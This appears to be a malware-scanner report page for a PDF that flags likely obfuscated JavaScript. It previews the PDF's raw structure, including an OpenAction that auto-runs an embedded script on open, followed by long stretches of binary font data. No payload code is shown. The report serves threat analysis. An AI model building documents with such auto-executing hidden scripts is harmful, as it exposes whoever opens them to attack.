<< /Names [ (New_Script) 56 0 R ] >>
endobj
7 0 obj
<< /JavaScript 57 0 R >>
endobj
8 0 obj
[]
endobj
xref
0 58
0000000000 65535 f
0000000015 00000 n
0000000266 00000 n
0001301237 00000 n
0001301283 00000 n
0001301367 00000 n
0001301388 00000 n
0001314526 00000 n
0001314566 00000 n
0000000467 00000 n
0000001848 00000 n
0000411199 00000 n
0000411422 00000 n
0000412403 00000 n
0000414242 00000 n
0000417312 00000 n
0000417507 00000 n
0000418497 00000 n
0000420636 00000 n
0000423742 00000 n
0000423937 00000 n
0000424927 00000 n
0000427257 00000 n
0000430375 00000 n
0000430570 00000 n
0000431409 00000 n
0000433138 00000 n
0000435390 00000 n
0000435585 00000 n
0000436377 00000 n
0000437824 00000 n
0000439728 00000 n
0000439923 00000 n
0000440749 00000 n
0000443111 00000 n
0000445771 00000 n
0000445966 00000 n
0000446744 00000 n
0000448072 00000 n
0000449904 00000 n
0000450099 00000 n
0000450456 00000 n
0000451125 00000 n
0000452259 00000 n
0000452454 00000 n
0000453370 00000 n
0000454829 00000 n
0000961731 00000 n
0000962195 00000 n
0000962249 00000 n
0000962409 00000 n
0000962560 00000 n
0001300754 00000 n
0001300808 00000 n
0001300987 00000 n
0001301422 00000 n
0001314425 00000 n
0001314473 00000 n
trailer
<<
/Size 58
/Root 1 0 R
/Info 2 0 R
/ID [<8EC92666CEC7F8BB5A1AFE5C3A81704C><8EC92666CEC7F8BB5A1AFE5C3A81704C>]
>>
startxref
1314584
%%EOF
|
|||
deobfuscated.js |
deobfuscated-js | PDF JavaScript deobfuscation pass | 3729644 bytes |
SHA-256: 6ccc42073eee19abb4c0184e0737e6b6154b2a34a283b2c5a40e8e452dcaedb7 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 7 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
%PDF-1.4
%�쏢
1 0 obj
<<
/Type /Catalog
/Outlines 3 0 R
/Pages 4 0 R
/Dests 5 0 R
/AcroForm 6 0 R
/Names 7 0 R
/Threads 8 0 R
/PageLayout /SinglePage
/OpenAction << /S /JavaScript /JS (this.New_Script\(\)) >>
/ViewerPreferences
<<
/PageDirection /L2R
>>
>>
endobj
2 0 obj
<<
/Creator (Scribus 1.3.3.14)
/Producer (Scribus PDF Library 1.3.3.14)
/Title <>
/Author <>
/Keywords <>
/CreationDate (D:20100729105017)
/ModDate (D:20100729105017)
/Trapped /False
>>
endobj
9 0 obj
<<
/Type /Font
/Subtype /Type1
/Name /FoStd0
/BaseFont /Helvetica
/Encoding <<
/Differences [
24 /breve /caron /circumflex /dotaccent /hungarumlaut /ogonek /ring /tilde
39 /quotesingle 96 /grave 128 /bullet /dagger /daggerdbl /ellipsis /emdash /endash /florin /fraction /guilsinglleft /guilsinglright
/minus /perthousand /quotedblbase /quotedblleft /quotedblright /quoteleft /quoteright /quotesinglbase /trademark /fi /fl /Lslash /OE /Scaron
/Ydieresis /Zcaron /dotlessi /lslash /oe /scaron /zcaron 164 /currency 166 /brokenbar 168 /dieresis /copyright /ordfeminine 172 /logicalnot
/.notdef /registered /macron /degree /plusminus /twosuperior /threesuperior /acute /mu 183 /periodcentered /cedilla /onesuperior /ordmasculine
188 /onequarter /onehalf /threequarters 192 /Agrave /Aacute /Acircumflex /Atilde /Adieresis /Aring /AE /Ccedilla /Egrave /Eacute /Ecircumflex
/Edieresis /Igrave /Iacute /Icircumflex /Idieresis /Eth /Ntilde /Ograve /Oacute /Ocircumflex /Otilde /Odieresis /multiply /Oslash
/Ugrave /Uacute /Ucircumflex /Udieresis /Yacute /Thorn /germandbls /agrave /aacute /acircumflex /atilde /adieresis /aring /ae /ccedilla
/egrave /eacute /ecircumflex /edieresis /igrave /iacute /icircumflex /idieresis /eth /ntilde /ograve /oacute /ocircumflex /otilde /odieresis
/divide /oslash /ugrave /uacute /ucircumflex /udieresis /yacute /thorn /ydieresis
] >>
>>
endobj
10 0 obj
<<
/Length 409281
/Length1 409280
>>
stream
pDSIG���t $0 �GDEF^#]r � �GSUB���� d �JSTFm*i $ LTSHѧ�j x �OS/2 s-� � VPCLTYӁ� � 6VDMXN#h� # �cmap�@j: �� jcvt �,ځ �x �fpgmæ �0 1gasp t glyf`��� l ��hdmx�2g� 4� �(head�[ � | 6hhea � � � $hmtx�B � P (kern�w�� �D dloca �� @ ,maxp
� � name 5� �� �post���L �t A�prep�8�� �d ���_ <� �� � �յ(�t�� !�E W �t�& � � � < v / V � 5 � � 3 % � 3 � f z�� Mono @ �� ��F 3 ! �@ ��� 9 � � D � % l � H 9 K q Q � T � . � � % n � S � 9 J � , S b X L | Q 9 � 9 � � % � % � % � \ ^ a � V " V J � # � * s ! � H � # � 3 * � " � ) " ��� � H s " � H V # s � � > � � � � � � � � 9 � K � % �� � v � I �� � F D � L � O =
9 < 9�c 9 = 9 E �� D �
d 9 �
� ) � � � � � T � � V J � * ��� � H � � I � I � I � I � I � I � F � L � L � L � L 9 < 9 < 9
9 E E E E E e 3 b � = � � p ��� # E E � � � � 9 d �� � I � 5 d d d � � � @ � + � . d > 1 5�� { % G V I ' � Y � � � $ d S d � @ @ � � � � H K � C �� �� � C � C � � � � d � / � V�� �� � w � s s s � � � � � C A � � * � � * � * � 3 � 2 � 2 � 2 � H � H � H � � � 9 < � < � � � 7 � � � � � � � N � � � < � 9 s ~ d � � ) � � � # D � s $ �� � % � � f � f f , � � * ! � H = � 3 s � d V J � F V J � F & �� � � � � I � � I � # , D � # � * � L � * � L � ) 9 = � ) @ < � ) � 6 ��� ��� � H E V # �
V # �
s � d � > 9 � > k � � � � ) � � ) � % � L � G 1 W � F \ G P F 7 � E �� � � � � , O � O � O � � � j � � � & � � � & � " � ��� � ~ � ~ ��� � ~ ��� � ~ ��� ��� ��� ��� ��� � � � ~ � � � � ��� ��� ��� � ~ � � � � ��� ��� ��� � ~ � � � � ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� � � � f ��� ��� � � � 0 � � 0 � � � � � � * + � k � U � o @ : @ 7 � ? @ % U � / k ; � � � U � � 4 � d � � � � � � � � � p � � I V J � F V J � F � * � L � * � L � * � L � H = � H = � H = � #
� #
� 9�� � 9�� � 3 9�� � 3 9 9 * 9�c � " � ) 9 = ��� � & � � H E � H E V # �
s � d � ; 9 � � � � � �
� 9 � � I �� V I � I ' 9 � � �
� �
� �
� � � ��� = � Z � * 1 % � � � � � � ��� � ��\ w�\ J�\ ��� ��\ ��� '�� � V " % 2 � * � � # � 3 � " � " ��� % O � H � % s " � � > � � � � < � 2 � 1 W \ G / ' % ��� n � P F / � Q ' % � J t ��� � F E � Y + F ��� � D K ' ��� E ��� D K � * 7 � % H K s � � 3 � 2 * �
� ' � 6 V % � � % � � $ V " � % u � * + + � % � % V % m " � # � H � % s " V J � > � R L � � % 3�� 9 9 � 6 � % � $ H : 9 & V�� � I N � 0 H � L � ) H . H . � . � . H . E H . �� � F / W H . ) . ) . # ` - � . o � - ��� � L � H o F d 9 < 9 9�c � � -
� . H . � % � A �
� � � 2 � � � � � � � � � � � � � � ! � V � � T � � � ��k 9 � � _ � 3 � ! Z C � N ; C J N � X � C " C � C v 3 t d � N 2 C p ! � _ � C � C � X � C � = � i � C � C ! u C ] C D C � k � k 6 � ;�� � C � C t�[ t�[ � 3 � C � C � C � C � _ � _ � _ � 3 � ! Z C � N ; C y � C " C � C v 3 t � N p ! � _ � C � X � = � i � C � C ! ; C � 3 v 3 � X �� �% �� �Q � � � � � C M y ��� � F � F � F � F � H � F � F Q F 5 | 5 . 5 � 5 � 5 , 5 � 5 � 5 � 5 � 5 � 5 � � � 5 � B 6 5 � 5 � 5 � � F �� � : � : ��� ��� � 6 5 6 =�� =�� � J � J v '�� �� v '�� �� 2 � $ � 0 � F � F � @ � F � � ] � M y � ��� � V � u 2 u 2 � - � 2 � $ ��� ��� � � � � : � : ��� ��� B �� � : � : ��� ��� � : � : ��� ��� � 6 5 6 =�� =�� � 6 5 6 =�� =�� � 6 5 6 =�� =�� � _ � _ � _ � _ � J � J � J � J � > � > ?�� ?�� � > � > ?�� ?�� � > � > ��� ��� � > � > ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� Z * � 6 5�� '�� Z * � 6 5�� '�� O ' O ' $�� �� � F � F $�� �� � - � - '�� '��
G
G ��� ��� � # � # '�� '�� 5 E 5 E ��� ��� B 6 �� ��� '�� u 2 u 2 2 � $ 2 � $ ��� ��� Z @ � @ Z & � 0 Z S � A Z S � A � F � F Q F � F � H � F � F � F � F � F � @ � 0 � F � F � � � � � � �� �� �� � H ; E 5 V �� � � �B �� �� �b �+ �� �� �� � �� �� � �� � � �p �� �� �w �b �� �� �� �t �� �� �F �' �� �� �� �D � �p �� �q �� �G �b �� �� �� �K �� �K �� �b � �� 9 < � � I � � I � � I � � I � � I � � I � � I � � I � � I � � I � � I � � I � * � L � * � L � * � L � * � L � * � L � * � L � * � L � * � L � 3 9 < � 3 9 < � H E � H E � H E � H E � H E � H E � H E � H ; E � H ; E � H ; E � H ; E � H ; E � � 5 V 5 V 5 V 5 V 5 V � � � � � I � 3 9 � H E � � � � � � � � � � # H + � V % � . V % � . � # H . � � � 3�� 3 %
� + � L � H E � : ��� $�� �� � F � � � � � � k ��� '�� � ��� � � � � � � V � V �� � ��� ��� ��� � ��� � � � u 2 u 2 u 2 u 2 2 � $ � : � : ��� ��� � : � : ��� ��� � : � : ��� ��� � : � : ��� ��� � : � : ��� ��� � : � : ��� ��� � : � : ��� ��� � 6 5 6 =�� =�� � 6 5 6 =�� =�� � 6 5 6 =�� =�� � 6 5 6 =�� =�� � 6 5 6 =�� =�� � 6 5 6 =�� =�� � 2 � 2 � _ � _ � _ � _ � 2 � 2 � _ � _ � _ � _ � _ � _ � 8 � 8 � I � I � J � J � J � J � J � J � J � J � J � J � J � J � J � J � J � J � > � > ?�� ?�� � > � > ?�� ?�� � > � > ?�� ?�� � > � > ��� ��� � > � > ��� ��� ��� ��� Z * � 6 5�� '�� O ' O ' O ' $�� �� O ' O ' $�� �� O ' O ' $�� �� O ' O ' $�� �� O ' O ' $�� �� � F � F � F � F v '�� �� v '�� �� � - � - '�� '�� � - � - '�� '�� � - � - '�� '�� v '�� �� v '�� �� v '�� �� v '�� �� v '�� ��
G
G ��� ���
G
G ��� ���
G
G ��� ���
G
G ��� ��� 5 E 5 E ��� ��� 5 E 5 E 5 E 5 E 5 E 5 E ��� ��� 5 E 5 E � 6 5 6 =�� =�� B 6 �� u 2 u 2 u 2 u 2 u 2 u 2 u 2 u 2 u 2 u 2 u 2 u 2 u 2 u 2 u 2 u 2 �� ��� 2 � $ ��� ��� u 2 u 2 2 � $ ��� ��� 2 � $ E E E E � ( �) �� �0 � � �� �~ � 2 � 2 �� �� �� �d �~ �� � ��� �� � � 2 �X �X �d � > � > ?�� ?�� � > � > ��� ��� Z * � 6 5�� '�� M y � # B 6 ��� ��� � / � ; � � � � m v " C �� � D C Z�� ��� Z S � A Z S � A Z S � A Z S � A Z S � A Z S � A 5 q 5 � Z � � gh 0 n� \ ] = Gh �3EH @ bG>eece @@Y@+9R@C�C@a�e�O e2^?HK�dT;�bG�T^^^/"3Ta\c�e �
cabb8�aaA 2��e� + 7 ��$/+�g M�� � �� eec� � ;_ e e h� _ G ae�E Y| a @ Gde9" ? ? �E2E2@*. K KeG e @T@T@^+/+/9" R @T@Taeae @
� o o(oo . S ���P 2222 ` + �� 1 �+ Q����E2 ? ? K K KGdGdGd>T>Te;e;e;e;e�cb eG@T @^@^+/9"R3@T@T@T@Tb[@�
E2�/.+ b[b[b[@� b � E @ &(EH a>ec @ @>Y R@C &e@ ( $ ( &^
"( ^ " 9eee,,
>E H >> >@>Y R
C> .. , 2 K
^ ^? � c
K ";;� T
,* * +
$
* * +
+ ,, # # + , ,, ,, ,, ,, )))) ++ ++ 22222222# # 22 ,, ,,# # # # + @ ;E2E2E2E2E2E2E2E2E2E2E2E2 K K K K K K K Ke;e;@^@^@^@^@^@^@^@ @ @ @ @ @T@T @�@�@�E2e;@^@T@T@T@T@T > @ @ Cc T@?@^ , 2,,,,,,( ,, ,, ,, ,, ,, ,, ,, )))))))))))))))))) ++ ++ ++ 22# 2222 # # # # # # # ,, ,, ,, ,, 2 ++ # ,(,,,,, # # # # # # # # � � � � ��
��
�� �� ��
��
��
�� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� ! �� " �� # �� $ �� % !�� & "�� ' "�� ( $�� ) %�� * &�� + '�� , (�� - )�� . *�� / *�� 0 +�� 1 ,�� 2 -�� 3 -�� 4 /�� 5 0�� 6 0�� 7 1�� 8 2�� 9 3�� : 5�� ; 5�� < 6�� = 6�� > 7�� ? 8�� @ :�� A :�� B ;�� C <�� D =�� E =�� F ?�� G @�� H @�� I A�� J B�� K C�� L D�� M E�� N F�� O G�� P G�� Q H�� R J�� S J�� T K�� U L�� V M�� W M�� X O�� Y P�� Z Q�� [ Q�� \ R�� ] S�� ^ T�� _ U�� ` V�� a W�� b W�� c X�� d Z�� e [�� f [�� g \�� h ]�� i ]�� j _�� k `�� l a�� m a�� n b�� o c�� p d�� q e�� r f�� s g�� t g�� u h�� v i�� w k�� x k�� y l�� z m�� { n�� | n�� } p�� ~ q�� q�� � r�� � s�� � t�� � u�� � v�� � w�� � x�� � x�� � y�� � {�� � {�� � |�� � }�� � ~�� � ~�� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � � ��
��
�� �� ��
��
��
�� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� ! �� " �� # �� $ �� % !�� & "�� ' "�� ( $�� ) %�� * &�� + '�� , (�� - )�� . *�� / *�� 0 +�� 1 ,�� 2 -�� 3 -�� 4 /�� 5 0�� 6 0�� 7 1�� 8 2�� 9 3�� : 5�� ; 5�� < 6�� = 6�� > 7�� ? 8�� @ :�� A :�� B ;�� C <�� D =�� E =�� F ?�� G @�� H @�� I A�� J B�� K C�� L D�� M E�� N F�� O G�� P G�� Q H�� R J�� S J�� T K�� U L�� V M�� W M�� X O�� Y P�� Z Q�� [ Q�� \ R�� ] S�� ^ T�� _ U�� ` V�� a W�� b W�� c X�� d Z�� e [�� f [�� g \�� h ]�� i ]�� j _�� k `�� l a�� m a�� n b�� o c�� p d�� q e�� r f�� s g�� t g�� u h�� v i�� w k�� x k�� y l�� z m�� { n�� | n�� } p�� ~ q�� q�� � r�� � s�� � t�� � u�� � v�� � w�� � x�� � x�� � y�� � {�� � {�� � |�� � }�� � ~�� � ~�� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � � ��
��
�� �� ��
��
��
�� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� ! �� " �� # �� $ �� % !�� & "�� ' "�� ( $�� ) %�� * &�� + '�� , (�� - )�� . +�� / *�� 0 +�� 1 ,�� 2 -�� 3 -�� 4 /�� 5 0�� 6 0�� 7 1�� 8 2�� 9 3�� : 5�� ; 5�� < 6�� = 6�� > 7�� ? 8�� @ :�� A :�� B ;�� C <�� D =�� E =�� F ?�� G @�� H @�� I A�� J B�� K C�� L D�� M E�� N F�� O G�� P G�� Q H�� R J�� S J�� T K�� U L�� V M�� W M�� X O�� Y P�� Z Q�� [ Q�� \ R�� ] S�� ^ T�� _ U�� ` V�� a W�� b W�� c X�� d Z�� e [�� f [�� g \�� h ]�� i ]�� j _�� k `�� l a�� m a�� n b�� o c�� p d�� q e�� r f�� s g�� t g�� u h�� v i�� w k�� x k�� y l�� z m�� { n�� | n�� } p�� ~ q�� q�� � r�� � s�� � t�� � u�� � v�� � w�� � x�� � x�� � y�� � {�� � {�� � |�� � }�� � ~�� � ~�� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� �
"
"
&
&
*
*
0
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.